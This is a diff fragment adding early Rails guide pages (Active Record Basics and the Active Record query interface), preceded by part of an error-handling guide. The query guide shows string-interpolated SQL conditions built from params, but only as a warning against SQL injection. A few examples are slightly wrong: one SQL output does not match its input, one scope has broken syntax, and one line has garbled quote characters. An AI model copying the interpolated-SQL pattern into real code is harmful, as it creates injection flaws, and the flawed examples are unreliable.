By default a production application will render either a 404 or a 500 error message. These messages are contained in static HTML files in the public folder, in 404.html and 500.html respectively. You can customize these files to add some extra information and layout, but remember that they are static; i.e. you can't use RHTML or layouts in them, just plain HTML.

+

By default a production application will render either a 404 or a 500 error message. These messages are contained in static HTML files in the public folder, in 404.html and 500.html respectively. You can customize these files to add some extra information and layout, but remember that they are static; i.e. you can’t use RHTML or layouts in them, just plain HTML.

13.2. rescue_from

-

If you want to do something a bit more elaborate when catching errors, you can use rescue_from, which handles exceptions of a certain type (or multiple types) in an entire controller and its subclasses. When an exception occurs which is caught by a rescue_from directive, the exception object is passed to the handler. The handler can be a method or a Proc object passed to the :with option. You can also use a block directly instead of an explicit Proc object.

-

Here's how you can use rescue_from to intercept all ActiveRecord::RecordNotFound errors and do something with them.

+

If you want to do something a bit more elaborate when catching errors, you can use rescue_from, which handles exceptions of a certain type (or multiple types) in an entire controller and its subclasses. When an exception occurs which is caught by a rescue_from directive, the exception object is passed to the handler. The handler can be a method or a Proc object passed to the :with option. You can also use a block directly instead of an explicit Proc object.

+

Here’s how you can use rescue_from to intercept all ActiveRecord::RecordNotFound errors and do something with them.

+ + + + + + + +
+ + + +
+

Active Record Basics

+
+
+

This guide will give you a strong grasp of the Active Record pattern and how it can be used with or without Rails. Hopefully, some of the philosophical and theoretical intentions discussed here will also make you a stronger and better developer.

+

After reading this guide we hope that you’ll be able to:

+
    +
  • +

    +Understand the way Active Record fits into the MVC model. +

    +
  • +
  • +

    +Create basic Active Record models and map them with your database tables. +

    +
  • +
  • +

    +Use your models to execute CRUD (Create, Read, Update and Delete) database operations. +

    +
  • +
  • +

    +Follow the naming conventions used by Rails to make developing database applications easier and obvious. +

    +
  • +
  • +

    +Take advantage of the way Active Record maps it’s attributes with the database tables' columns to implement your application’s logic. +

    +
  • +
  • +

    +Use Active Record with legacy databases that do not follow the Rails naming conventions. +

    +
  • +
+
+
+

1. What’s Active Record

+
+

Rails' ActiveRecord is an implementation of Martin Fowler’s Active Record Design Pattern. This pattern is based on the idea of creating relations between the database and the application in the following way:

+
    +
  • +

    +Each database table is mapped to a class. +

    +
  • +
  • +

    +Each table column is mapped to an attribute of this class. +

    +
  • +
  • +

    +Each instance of this class is mapped to a single row in the database table. +

    +
  • +
+

The definition of the Active Record pattern in Martin Fowler’s words:

+

"An object that wraps a row in a database table or view, encapsulates the database access, and adds domain logic on that data."

+
+

2. Object Relational Mapping

+
+

The relation between databases and object-oriented software is called ORM, which is short for "Object Relational Mapping". The purpose of an ORM framework is to minimize the mismatch existent between relational databases and object-oriented software. In applications with a domain model, we have objects that represent both the state of the system and the behaviour of the real world elements that were modeled through these objects. Since we need to store the system’s state somehow, we can use relational databases, which are proven to be an excelent approach to data management. Usually this may become a very hard thing to do, since we need to create an object-oriented model of everything that lives in the database, from simple columns to complicated relations between different tables. Doing this kind of thing by hand is a tedious and error prone job. This is where an ORM framework comes in.

+
+

3. ActiveRecord as an ORM framework

+
+

ActiveRecord gives us several mechanisms, being the most important ones the hability to:

+
    +
  • +

    +Represent models. +

    +
  • +
  • +

    +Represent associations between these models. +

    +
  • +
  • +

    +Represent inheritance hierarquies through related models. +

    +
  • +
  • +

    +Validate models before they get recorded to the database. +

    +
  • +
  • +

    +Perform database operations in an object-oriented fashion. +

    +
  • +
+

It’s easy to see that the Rails Active Record implementation goes way beyond the basic description of the Active Record Pattern.

+
+

4. Active Record inside the MVC model

+
+

Active Record plays the role of model inside the MVC structure followed by Rails applications. Since model objects should encapsulate both state and logic of your applications, it’s ActiveRecord responsability to deliver you the easiest possible way to recover this data from the database.

+
+

5. Convention over Configuration in ActiveRecord

+
+

When writing applications using other programming languages or frameworks, it may be necessary to write a lot of configuration code. This is particulary true for ORM frameworks in general. However, if you follow the conventions adopted by Rails, you’ll need to write very little configuration (in some case no configuration at all) when creating ActiveRecord models. The idea is that if you configure your applications in the very same way most of the times then this should be the default way. In this cases, explicity configuration would be needed only in those cases where you can’t follow the conventions for any reason.

+

5.1. Naming Conventions

+

By default, ActiveRecord uses some naming conventions to find out how the mapping between models and database tables should be created. Rails will pluralize your class names to find the respective database table. So, for a class Book, you should have a database table called books. The Rails pluralization mechanisms are very powerful, being capable to pluralize (and singularize) both regular and irregular words. When using class names composed of two or more words, the model class name should follow the Ruby conventions, using the camelCase form, while the table name must contain the words separated by underscores. Examples:

+
    +
  • +

    +Database Table - Plural with underscores separating words i.e. (book_clubs) +

    +
  • +
  • +

    +Model Class - Singular with the first letter of each word capitalized i.e. (BookClub) +

    +
  • +
+
+ +++ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Model / Class Table / Schema

Post

posts

LineItem

line_items

Deer

deer

Mouse

mice

Person

people

+
+

5.2. Schema Conventions

+

ActiveRecord uses naming conventions for the columns in database tables, depending on the purpose of these columns.

+
    +
  • +

    +Foreign keys - These fields should be named following the pattern table_id i.e. (item_id, order_id). These are the fields that ActiveRecord will look for when you create associations between your models. +

    +
  • +
  • +

    +Primary keys - By default, ActiveRecord will use a integer column named "id" as the table’s primary key. When using Rails Migrations to create your tables, this column will be automaticaly created. +

    +
  • +
+

There are also some optional column names that will create additional features to ActiveRecord instances:

+
    +
  • +

    +created_at / created_on - ActiveRecord will store the current date and time to this field when creating the record. +

    +
  • +
  • +

    +updated_at / updated_on - ActiveRecord will store the current date and times to this field when updating the record. +

    +
  • +
  • +

    +lock_version - Adds optimistic locking to a model. +

    +
  • +
  • +

    +type - Specifies that the model uses Single Table Inheritance +

    +
  • +
  • +

    +(table_name)_count - Used to cache the number of belonging objects on associations. For example, a comments_count column in a Post class that has many instances of Comment will cache the number of existent comments for each post. +

    +
  • +
+
+ + + +
+Note +While these column names are optional they are in fact reserved by ActiveRecord. Steer clear of reserved keywords unless you want the extra functionality. For example, "type" is a reserved keyword used to designate a table using Single Table Inheritance. If you are not using STI, try an analogous keyword like "context", that may still accurately describe the data you are modeling.
+
+
+

6. Creating ActiveRecord models

+
+

It’s very easy to create ActiveRecord models. All you have to do is to subclass the ActiveRecord::Base class and you’re good to go:

+
+
+
class Product < ActiveRecord::Base; end
+

This will create a Product model, mapped to a products table at the database. By doing this you’ll also have the hability to map the columns of each row in that table with the attributes of the instances of your model. So, suppose that the products table was created using a SQL sentence like:

+
+
+
CREATE TABLE products (
+   id int(11) NOT NULL auto_increment,
+   name varchar(255),
+   PRIMARY KEY  (id)
+);
+

Following the table schema above, you would be able to write code like the following:

+
+
+
p = Product.new
+p.name = "Some Book"
+puts p.name # "Some Book"
+
+

7. Overriding the naming conventions

+
+

What if you need to follow a different naming convention or need to use your Rails application with a legacy database? No problem, you can easily override the default conventions.

+

You can use the ActiveRecord::Base.set_table_name method to specify the table name that should be used:

+
+
+
class Product < ActiveRecord::Base
+  set_table_name "PRODUCT"
+end
+

It’s also possible to override the column that should be used as the table’s primary key. Use the ActiveRecord::Base.set_primary_key method for that:

+
+
+
class Product < ActiveRecord::Base
+  set_primary_key "product_id"
+end
+
+

8. Validations

+
+

ActiveRecord gives the hability to validate the state of your models before they get recorded into the database. There are several methods that you can use to hook into the lifecycle of your models and validate that an attribute value is not empty or follow a specific format and so on. You can learn more about validations in the Active Record Validations and Callbacks guide.

+
+

9. Callbacks

+
+

ActiveRecord callbacks allow you to attach code to certain events in the lifecycle of your models. This way you can add behaviour to your models by transparently executing code when those events occur, like when you create a new record, update it, destroy it and so on. You can learn more about callbacks in the Active Record Validations and Callbacks guide.

+
+ +
+
+ + diff --git a/vendor/rails/railties/doc/guides/html/active_record_querying.html b/vendor/rails/railties/doc/guides/html/active_record_querying.html new file mode 100644 index 00000000..e42bd80e --- /dev/null +++ b/vendor/rails/railties/doc/guides/html/active_record_querying.html @@ -0,0 +1,932 @@ + + + + + Active Record Query Interface + + + + + + + + +
+ + + +
+

Active Record Query Interface

+
+
+

This guide covers different ways to retrieve data from the database using Active Record. By referring to this guide, you will be able to:

+
    +
  • +

    +Find records using a variety of methods and conditions +

    +
  • +
  • +

    +Specify the order, retrieved attributes, grouping, and other properties of the found records +

    +
  • +
  • +

    +Use eager loading to reduce the number of database queries needed for data retrieval +

    +
  • +
  • +

    +Use dynamic finders methods +

    +
  • +
  • +

    +Create named scopes to add custom finding behavior to your models +

    +
  • +
  • +

    +Check for the existence of particular records +

    +
  • +
  • +

    +Perform various calculations on Active Record models +

    +
  • +
+

If you’re used to using raw SQL to find database records then, generally, you will find that there are better ways to carry out the same operations in Rails. Active Record insulates you from the need to use SQL in most cases.

+

Code examples throughout this guide will refer to one or more of the following models:

+
+
+
class Client < ActiveRecord::Base
+  has_one :address
+  has_one :mailing_address
+  has_many :orders
+  has_and_belongs_to_many :roles
+end
+
+
+
class Address < ActiveRecord::Base
+  belongs_to :client
+end
+
+
+
class MailingAddress < Address
+end
+
+
+
class Order < ActiveRecord::Base
+  belongs_to :client, :counter_cache => true
+end
+
+
+
class Role < ActiveRecord::Base
+  has_and_belongs_to_many :clients
+end
+
+
+
+
+

1. Retrieving objects

+
+

To retrieve objects from the database, Active Record provides a primary method called find. This method allows you to pass arguments into it to perform certain queries on your database without the need of SQL. If you wanted to find the record with the id of 1, you could type Client.find(1) which would execute this query on your database:

+
+
+
SELECT * FROM clients WHERE (clients.id = 1)
+
+ + + +
+Note +Because this is a standard table created from a migration in Rails, the primary key is defaulted to id. If you have specified a different primary key in your migrations, this is what Rails will find on when you call the find method, not the id column.
+
+

If you wanted to find clients with id 1 or 2, you call Client.find([1,2]) or Client.find(1,2) and then this will be executed as:

+
+
+
SELECT * FROM clients WHERE (clients.id IN (1,2))
+
+
+
>> Client.find(1,2)
+=> [#<Client id: 1, name: => "Ryan", locked: false, orders_count: 2,
+  created_at: "2008-09-28 15:38:50", updated_at: "2008-09-28 15:38:50">,
+  #<Client id: 2, name: => "Michael", locked: false, orders_count: 3,
+  created_at: "2008-09-28 13:12:40", updated_at: "2008-09-28 13:12:40">]
+
+

Note that if you pass in a list of numbers that the result will be returned as an array, not as a single Client object.

+
+ + + +
+Note +If find(id) or find([id1, id2]) fails to find any records, it will raise a RecordNotFound exception.
+
+

If you wanted to find the first Client object you would simply type Client.first and that would find the first client in your clients table:

+
+
+
>> Client.first
+=> #<Client id: 1, name: => "Ryan", locked: false, orders_count: 2,
+  created_at: "2008-09-28 15:38:50", updated_at: "2008-09-28 15:38:50">
+
+

If you were reading your log file (the default is log/development.log) you may see something like this:

+
+
+
SELECT * FROM clients LIMIT 1
+

Indicating the query that Rails has performed on your database.

+

To find the last Client object you would simply type Client.last and that would find the last client created in your clients table:

+
+
+
>> Client.last
+=> #<Client id: 2, name: => "Michael", locked: false, orders_count: 3,
+  created_at: "2008-09-28 13:12:40", updated_at: "2008-09-28 13:12:40">
+
+

If you were reading your log file (the default is log/development.log) you may see something like this:

+
+
+
SELECT * FROM clients ORDER BY id DESC LIMIT 1
+
+ + + +
+Note +Please be aware that the syntax that Rails uses to find the first record in the table means that it may not be the actual first record. If you want the actual first record based on a field in your table (e.g. created_at) specify an order option in your find call. The last method call works differently: it finds the last record on your table based on the primary key column.
+
+
+
+
SELECT * FROM clients ORDER BY clients.id DESC LIMIT 1
+

To find all the Client objects you would simply type Client.all and that would find all the clients in your clients table:

+
+
+
>> Client.all
+=> [#<Client id: 1, name: => "Ryan", locked: false, orders_count: 2,
+  created_at: "2008-09-28 15:38:50", updated_at: "2008-09-28 15:38:50">,
+  #<Client id: 2, name: => "Michael", locked: false, orders_count: 3,
+  created_at: "2008-09-28 13:12:40", updated_at: "2008-09-28 13:12:40">]
+
+

You may see in Rails code that there are calls to methods such as Client.find(:all), Client.find(:first) and Client.find(:last). These methods are just alternatives to Client.all, Client.first and Client.last respectively.

+

Be aware that Client.first/Client.find(:first) and Client.last/Client.find(:last) will both return a single object, where as Client.all/Client.find(:all) will return an array of Client objects, just as passing in an array of ids to find will do also.

+
+

2. Conditions

+
+

The find method allows you to specify conditions to limit the records returned. You can specify conditions as a string, array, or hash.

+

2.1. Pure String Conditions

+

If you’d like to add conditions to your find, you could just specify them in there, just like Client.first(:conditions => "orders_count = 2"). This will find all clients where the orders_count field’s value is 2.

+
+ + + +
+Warning +Building your own conditions as pure strings can leave you vulnerable to SQL injection exploits. For example, Client.first(:conditions => "name LIKE %#{params[:name]}%") is not safe. See the next section for the preferred way to handle conditions using an array.
+
+

2.2. Array Conditions

+

Now what if that number could vary, say as a argument from somewhere, or perhaps from the user’s level status somewhere? The find then becomes something like Client.first(:conditions => ["orders_count = ?", params[:orders]]). Active Record will go through the first element in the conditions value and any additional elements will replace the question marks (?) in the first element. If you want to specify two conditions, you can do it like Client.first(:conditions => ["orders_count = ? AND locked = ?", params[:orders], false]). In this example, the first question mark will be replaced with the value in params[:orders] and the second will be replaced with the SQL representation of false, which depends on the adapter.

+

The reason for doing code like:

+
+
+
Client.first(:conditions => ["orders_count = ?", params[:orders]])
+

instead of:

+
+
+
Client.first(:conditions => "orders_count = #{params[:orders]}")
+

is because of argument safety. Putting the variable directly into the conditions string will pass the variable to the database as-is. This means that it will be an unescaped variable directly from a user who may have malicious intent. If you do this, you put your entire database at risk because once a user finds out he or she can exploit your database they can do just about anything to it. Never ever put your arguments directly inside the conditions string.

+
+ + + +
+Tip +For more information on the dangers of SQL injection, see the Ruby on Rails Security Guide.
+
+

If you’re looking for a range inside of a table (for example, users created in a certain timeframe) you can use the conditions option coupled with the IN sql statement for this. If you had two dates coming in from a controller you could do something like this to look for a range:

+
+
+
Client.all(:conditions => ["created_at IN (?)",
+  (params[:start_date].to_date)..(params[:end_date].to_date)])
+

This would generate the proper query which is great for small ranges but not so good for larger ranges. For example if you pass in a range of date objects spanning a year that’s 365 (or possibly 366, depending on the year) strings it will attempt to match your field against.

+
+
+
SELECT * FROM users WHERE (created_at IN
+  ('2007-12-31','2008-01-01','2008-01-02','2008-01-03','2008-01-04','2008-01-05',
+  '2008-01-06','2008-01-07','2008-01-08','2008-01-09','2008-01-10','2008-01-11',
+  '2008-01-12','2008-01-13','2008-01-14','2008-01-15','2008-01-16','2008-01-17',
+  '2008-01-18','2008-01-19','2008-01-20','2008-01-21','2008-01-22','2008-01-23',...
+  ‘2008-12-15','2008-12-16','2008-12-17','2008-12-18','2008-12-19','2008-12-20',
+  '2008-12-21','2008-12-22','2008-12-23','2008-12-24','2008-12-25','2008-12-26',
+  '2008-12-27','2008-12-28','2008-12-29','2008-12-30','2008-12-31'))
+

Things can get really messy if you pass in Time objects as it will attempt to compare your field to every second in that range:

+
+
+
Client.all(:conditions => ["created_at IN (?)",
+  (params[:start_date].to_date.to_time)..(params[:end_date].to_date.to_time)])
+
+
+
SELECT * FROM users WHERE (created_at IN
+  ('2007-12-01 00:00:00', '2007-12-01 00:00:01' ...
+  '2007-12-01 23:59:59', '2007-12-02 00:00:00'))
+

This could possibly cause your database server to raise an unexpected error, for example MySQL will throw back this error:

+
+
+
Got a packet bigger than 'max_allowed_packet' bytes: _query_
+
+

Where query is the actual query used to get that error.

+

In this example it would be better to use greater-than and less-than operators in SQL, like so:

+
+
+
Client.all(:conditions =>
+  ["created_at > ? AND created_at < ?", params[:start_date], params[:end_date]])
+

You can also use the greater-than-or-equal-to and less-than-or-equal-to like this:

+
+
+
Client.all(:conditions =>
+  ["created_at >= ? AND created_at <= ?", params[:start_date], params[:end_date]])
+

Just like in Ruby. If you want a shorter syntax be sure to check out the Hash Conditions section later on in the guide.

+

2.3. Placeholder Conditions

+

Similar to the array style of params you can also specify keys in your conditions:

+
+
+
Client.all(:conditions =>
+  ["created_at >= :start_date AND created_at <= :end_date", { :start_date => params[:start_date], :end_date => params[:end_date] }])
+

This makes for clearer readability if you have a large number of variable conditions.

+

2.4. Hash Conditions

+

Rails also allows you to pass in a hash conditions which can increase the readability of your conditions syntax. With hash conditions, you pass in a hash with keys of the fields you want conditionalised and the values of how you want to conditionalise them:

+
+
+
Client.all(:conditions => { :locked => true })
+

The field name does not have to be a symbol it can also be a string:

+
+
+
Client.all(:conditions => { 'locked' => true })
+

The good thing about this is that we can pass in a range for our fields without it generating a large query as shown in the preamble of this section.

+
+
+
Client.all(:conditions => { :created_at => (Time.now.midnight - 1.day)..Time.now.midnight})
+

This will find all clients created yesterday by using a BETWEEN sql statement:

+
+
+
SELECT * FROM `clients` WHERE (`clients`.`created_at` BETWEEN '2008-12-21 00:00:00' AND '2008-12-22 00:00:00')
+

This demonstrates a shorter syntax for the examples in Array Conditions

+

You can also join in tables and specify their columns in the hash:

+
+
+
Client.all(:include => "orders", :conditions => { 'orders.created_at' => (Time.now.midnight - 1.day)..Time.now.midnight })
+

An alternative and cleaner syntax to this is:

+
+
+
Client.all(:include => "orders", :conditions => { :orders => { :created_at => (Time.now.midnight - 1.day)..Time.now.midnight } })
+

This will find all clients who have orders that were created yesterday, again using a BETWEEN expression.

+

If you want to find records using the IN expression you can pass an array to the conditions hash:

+
+
+
Client.all(:include => "orders", :conditions => { :orders_count => [1,3,5] }
+

This code will generate SQL like this:

+
+
+
SELECT * FROM `clients` WHERE (`clients`.`orders_count` IN (1,2,3))
+
+

3. Ordering

+
+

If you’re getting a set of records and want to order them in ascending order by the created_at field in your table, you can use Client.all(:order => "created_at"). If you’d like to order it in descending order, just tell it to do that using Client.all(:order => "created_at desc"). The value for this option is passed in as sanitized SQL and allows you to sort via multiple fields: Client.all(:order => "created_at desc, orders_count asc").

+
+

4. Selecting Certain Fields

+
+

To select certain fields, you can use the select option like this: Client.first(:select => "viewable_by, locked"). This select option does not use an array of fields, but rather requires you to type SQL-like code. The above code will execute SELECT viewable_by, locked FROM clients LIMIT 1 on your database.

+

Be careful because this also means you’re initializing a model object with only the fields that you’ve selected. If you attempt to access a field that is not in the initialized record you’ll receive:

+
+
+
ActiveRecord::MissingAttributeError: missing attribute: <attribute>
+
+

Where <attribute> is the atrribute you asked for. The id method will not raise the ActiveRecord::MissingAttributeError, so just be careful when working with associations because they need the id method to function properly.

+

You can also call SQL functions within the select option. For example, if you would like to only grab a single record per unique value in a certain field by using the DISTINCT function you can do it like this: Client.all(:select => "DISTINCT(name)").

+
+

5. Limit & Offset

+
+

If you want to limit the amount of records to a certain subset of all the records retrieved you usually use limit for this, sometimes coupled with offset. Limit is the maximum number of records that will be retrieved from a query, and offset is the number of records it will start reading from from the first record of the set. Take this code for example:

+
+
+
Client.all(:limit => 5)
+

This code will return a maximum of 5 clients and because it specifies no offset it will return the first 5 clients in the table. The SQL it executes will look like this:

+
+
+
SELECT * FROM clients LIMIT 5
+
+
+
Client.all(:limit => 5, :offset => 5)
+

This code will return a maximum of 5 clients and because it specifies an offset this time, it will return these records starting from the 5th client in the clients table. The SQL looks like:

+
+
+
SELECT * FROM clients LIMIT 5, 5
+
+

6. Group

+
+

The group option for find is useful, for example, if you want to find a collection of the dates orders were created on. You could use the option in this context:

+
+
+
Order.all(:group => "date(created_at)", :order => "created_at")
+

And this will give you a single Order object for each date where there are orders in the database.

+

The SQL that would be executed would be something like this:

+
+
+
SELECT * FROM orders GROUP BY date(created_at)
+
+

7. Having

+
+

The :having option allows you to specify SQL and acts as a kind of a filter on the group option. :having can only be specified when :group is specified.

+

An example of using it would be:

+
+
+
Order.all(:group => "date(created_at)", :having => ["created_at > ?", 1.month.ago])
+

This will return single order objects for each day, but only for the last month.

+
+

8. Read Only

+
+

readonly is a find option that you can set in order to make that instance of the record read-only. Any attempt to alter or destroy the record will not succeed, raising an ActiveRecord::ReadOnlyRecord exception. To set this option, specify it like this:

+
+
+
Client.first(:readonly => true)
+

If you assign this record to a variable client, calling the following code will raise an ActiveRecord::ReadOnlyRecord exception:

+
+
+
client = Client.first(:readonly => true)
+client.locked = false
+client.save
+
+

9. Lock

+
+

If you’re wanting to stop race conditions for a specific record (for example, you’re incrementing a single field for a record, potentially from multiple simultaneous connections) you can use the lock option to ensure that the record is updated correctly. For safety, you should use this inside a transaction.

+
+
+
Topic.transaction do
+  t = Topic.find(params[:id], :lock => true)
+  t.increment!(:views)
+end
+

You can also pass SQL to this option to allow different types of locks. For example, MySQL has an expression called LOCK IN SHARE MODE where you can lock a record but still allow other queries to read it. To specify this expression just pass it in as the lock option:

+
+
+
Topic.transaction do
+  t = Topic.find(params[:id], :lock => "LOCK IN SHARE MODE")
+  t.increment!(:views)
+end
+
+

10. Making It All Work Together

+
+

You can chain these options together in no particular order as Active Record will write the correct SQL for you. If you specify two instances of the same options inside the find method Active Record will use the last one you specified. This is because the options passed to find are a hash and defining the same key twice in a hash will result in the last definition being used.

+
+

11. Eager Loading

+
+

Eager loading is loading associated records along with any number of records in as few queries as possible. For example, if you wanted to load all the addresses associated with all the clients in a single query you could use Client.all(:include => :address). If you wanted to include both the address and mailing address for the client you would use Client.find(:all, :include => [:address, :mailing_address]). Include will first find the client records and then load the associated address records. Running script/server in one window, and executing the code through script/console in another window, the output should look similar to this:

+
+
+
Client Load (0.000383)   SELECT * FROM clients
+Address Load (0.119770)   SELECT addresses.* FROM addresses
+  WHERE (addresses.client_id IN (13,14))
+MailingAddress Load (0.001985) SELECT mailing_addresses.* FROM
+  mailing_addresses WHERE (mailing_addresses.client_id IN (13,14))
+

The numbers 13 and 14 in the above SQL are the ids of the clients gathered from the Client.all query. Rails will then run a query to gather all the addresses and mailing addresses that have a client_id of 13 or 14. Although this is done in 3 queries, this is more efficient than not eager loading because without eager loading it would run a query for every time you called address or mailing_address on one of the objects in the clients array, which may lead to performance issues if you’re loading a large number of records at once and is often called the "N+1 query problem". The problem is that the more queries your server has to execute, the slower it will run.

+

If you wanted to get all the addresses for a client in the same query you would do Client.all(:joins => :address). +If you wanted to find the address and mailing address for that client you would do Client.all(:joins => [:address, :mailing_address]). This is more efficient because it does all the SQL in one query, as shown by this example:

+
+
+
+Client Load (0.000455)   SELECT clients.* FROM clients INNER JOIN addresses
+  ON addresses.client_id = client.id INNER JOIN mailing_addresses ON
+  mailing_addresses.client_id = client.id
+

This query is more efficent, but there’s a gotcha: if you have a client who does not have an address or a mailing address they will not be returned in this query at all. If you have any association as an optional association, you may want to use include rather than joins. Alternatively, you can use a SQL join clause to specify exactly the join you need (Rails always assumes an inner join):

+
+
+
Client.all(:joins => “LEFT OUTER JOIN addresses ON
+  client.id = addresses.client_id LEFT OUTER JOIN mailing_addresses ON
+  client.id = mailing_addresses.client_idâ€)
+

When using eager loading you can specify conditions for the columns of the tables inside the eager loading to get back a smaller subset. If, for example, you want to find a client and all their orders within the last two weeks you could use eager loading with conditions for this:

+
+
+
Client.first(:include => "orders", :conditions =>
+  ["orders.created_at >= ? AND orders.created_at <= ?", 2.weeks.ago, Time.now])
+
+

12. Dynamic finders

+
+

For every field (also known as an attribute) you define in your table, Active Record provides a finder method. If you have a field called name on your Client model for example, you get find_by_name and find_all_by_name for free from Active Record. If you have also have a locked field on the Client model, you also get find_by_locked and find_all_by_locked.

+

You can do find_last_by_* methods too which will find the last record matching your argument.

+

You can specify an exclamation point (!) on the end of the dynamic finders to get them to raise an ActiveRecord::RecordNotFound error if they do not return any records, like Client.find_by_name!("Ryan")

+

If you want to find both by name and locked, you can chain these finders together by simply typing and between the fields for example Client.find_by_name_and_locked("Ryan", true).

+

There’s another set of dynamic finders that let you find or create/initialize objects if they aren’t found. These work in a similar fashion to the other finders and can be used like find_or_create_by_name(params[:name]). Using this will firstly perform a find and then create if the find returns nil. The SQL looks like this for Client.find_or_create_by_name("Ryan"):

+
+
+
SELECT * FROM clients WHERE (clients.name = 'Ryan') LIMIT 1
+BEGIN
+INSERT INTO clients (name, updated_at, created_at, orders_count, locked)
+  VALUES('Ryan', '2008-09-28 15:39:12', '2008-09-28 15:39:12', 0, '0')
+COMMIT
+

find_or_create's sibling, find_or_initialize, will find an object and if it does not exist will act similar to calling new with the arguments you passed in. For example:

+
+
+
client = Client.find_or_initialize_by_name('Ryan')
+

will either assign an existing client object with the name Ryan to the client local variable, or initialize a new object similar to calling Client.new(:name => Ryan). From here, you can modify other fields in client by calling the attribute setters on it: client.locked = true and when you want to write it to the database just call save on it.

+
+

13. Finding By SQL

+
+

If you’d like to use your own SQL to find records in a table you can use find_by_sql. The find_by_sql method will return an array of objects even the underlying query returns just a single record. For example you could run this query:

+
+
+
Client.find_by_sql("SELECT * FROM clients INNER JOIN orders ON clients.id = orders.client_id ORDER clients.created_at desc")
+

find_by_sql provides you with a simple way of making custom calls to the database and retrieving instantiated objects.

+
+

14. select_all

+
+

find_by_sql has a close relative called connection#select_all. select_all will retrieve objects from the database using custom SQL just like find_by_sql but will not instantiate them. Instead, you will get an array of hashes where each hash indicates a record.

+
+
+
Client.connection.select_all("SELECT * FROM `clients` WHERE `id` = '1'")
+
+

15. Working with Associations

+
+

When you define a has_many association on a model you get the find method and dynamic finders also on that association. This is helpful for finding associated records within the scope of an existing record, for example finding all the orders for a client that have been sent and not received by doing something like Client.find(params[:id]).orders.find_by_sent_and_received(true, false). Having this find method available on associations is extremely helpful when using nested resources.

+
+

16. Named Scopes

+
+

Named scopes are another way to add custom finding behavior to the models in the application. Named scopes provide an object-oriented way to narrow the results of a query.

+

16.1. Simple Named Scopes

+

Suppose we want to find all clients who are male. You could use this code:

+
+
+
class Client < ActiveRecord::Base
+  named_scope :males, :conditions => { :gender => "male" }
+end
+

Then you could call Client.males.all to get all the clients who are male. Please note that if you do not specify the all on the end you will get a Scope object back, not a set of records which you do get back if you put the all on the end.

+

If you wanted to find all the clients who are active, you could use this:

+
+
+
class Client < ActiveRecord::Base
+  named_scope :active, :conditions => { :active => true }
+end
+

You can call this new named_scope with Client.active.all and this will do the same query as if we just used Client.all(:conditions => ["active = ?", true]). If you want to find the first client within this named scope you could do Client.active.first.

+

16.2. Combining Named Scopes

+

If you wanted to find all the clients who are active and male you can stack the named scopes like this:

+
+
+
Client.males.active.all
+

If you would then like to do a all on that scope, you can. Just like an association, named scopes allow you to call all on them:

+
+
+
Client.males.active.all(:conditions => ["age > ?", params[:age]])
+

16.3. Runtime Evaluation of Named Scope Conditions

+

Consider the following code:

+
+
+
class Client < ActiveRecord::Base
+  named_scope :recent, :conditions => { :created_at > 2.weeks.ago }
+end
+

This looks like a standard named scope that defines a method called recent which gathers all records created any time between now and 2 weeks ago. That’s correct for the first time the model is loaded but for any time after that, 2.weeks.ago is set to that same value, so you will consistently get records from a certain date until your model is reloaded by something like your application restarting. The way to fix this is to put the code in a lambda block:

+
+
+
class Client < ActiveRecord::Base
+  named_scope :recent, lambda { { :conditions => ["created_at > ?", 2.weeks.ago] } }
+end
+

And now every time the recent named scope is called, the code in the lambda block will be executed, so you’ll get actually 2 weeks ago from the code execution, not 2 weeks ago from the time the model was loaded.

+

16.4. Named Scopes with Multiple Models

+

In a named scope you can use :include and :joins options just like in find.

+
+
+
class Client < ActiveRecord::Base
+  named_scope :active_within_2_weeks, :joins => :order,
+    lambda { { :conditions => ["orders.created_at > ?", 2.weeks.ago] } }
+end
+

This method, called as Client.active_within_2_weeks.all, will return all clients who have placed orders in the past 2 weeks.

+

16.5. Arguments to Named Scopes

+

If you want to pass to a named scope a required arugment, just specify it as a block argument like this:

+
+
+
class Client < ActiveRecord::Base
+  named_scope :recent, lambda { |time| { :conditions => ["created_at > ?", time] } }
+end
+

This will work if you call Client.recent(2.weeks.ago).all but not if you call Client.recent. If you want to add an optional argument for this, you have to use prefix the arugment with an *.

+
+
+
class Client < ActiveRecord::Base
+  named_scope :recent, lambda { |*args| { :conditions => ["created_at > ?", args.first || 2.weeks.ago] } }
+end
+

This will work with Client.recent(2.weeks.ago).all and Client.recent.all, with the latter always returning records with a created_at date between right now and 2 weeks ago.

+

Remember that named scopes are stackable, so you will be able to do Client.recent(2.weeks.ago).unlocked.all to find all clients created between right now and 2 weeks ago and have their locked field set to false.

+

16.6. Anonymous Scopes

+

All Active Record models come with a named scope named scoped, which allows you to create anonymous scopes. For example:

+
+
+
class Client < ActiveRecord::Base
+  def self.recent
+    scoped :conditions => ["created_at > ?", 2.weeks.ago]
+  end
+end
+

Anonymous scopes are most useful to create scopes "on the fly":

+
+
+
Client.scoped(:conditions => { :gender => "male" })
+

Just like named scopes, anonymous scopes can be stacked, either with other anonymous scopes or with regular named scopes.

+
+

17. Existence of Objects

+
+

If you simply want to check for the existence of the object there’s a method called exists?. This method will query the database using the same query as find, but instead of returning an object or collection of objects it will return either true or false+.

+
+
+
Client.exists?(1)
+

The exists? method also takes multiple ids, but the catch is that it will return true if any one of those records exists.

+
+
+
Client.exists?(1,2,3)
+# or
+Client.exists?([1,2,3])
+

Further more, exists takes a conditions option much like find:

+
+
+
Client.exists?(:conditions => "first_name = 'Ryan'")
+
+

18. Calculations

+
+

This section uses count as an example method in this preamble, but the options described apply to all sub-sections.

+

count takes conditions much in the same way exists? does:

+
+
+
Client.count(:conditions => "first_name = 'Ryan'")
+

Which will execute:

+
+
+
SELECT count(*) AS count_all FROM clients WHERE (first_name = 'Ryan')
+

You can also use :include or :joins for this to do something a little more complex:

+
+
+
Client.count(:conditions => "clients.first_name = 'Ryan' AND orders.status = 'received'", :include => "orders")
+

Which will execute:

+
+
+
SELECT count(DISTINCT clients.id) AS count_all FROM clients
+  LEFT OUTER JOIN orders ON orders.client_id = client.id WHERE
+  (clients.first_name = 'Ryan' AND orders.status = 'received')
+

This code specifies clients.first_name just in case one of the join tables has a field also called first_name and it uses orders.status because that’s the name of our join table.

+

18.1. Count

+

If you want to see how many records are in your model’s table you could call Client.count and that will return the number. If you want to be more specific and find all the clients with their age present in the database you can use Client.count(:age).

+

For options, please see the parent section, Calculations.

+

18.2. Average

+

If you want to see the average of a certain number in one of your tables you can call the average method on the class that relates to the table. This method call will look something like this:

+
+
+
Client.average("orders_count")
+

This will return a number (possibly a floating point number such as 3.14159265) representing the average value in the field.

+

For options, please see the parent section, Calculations.

+

18.3. Minimum

+

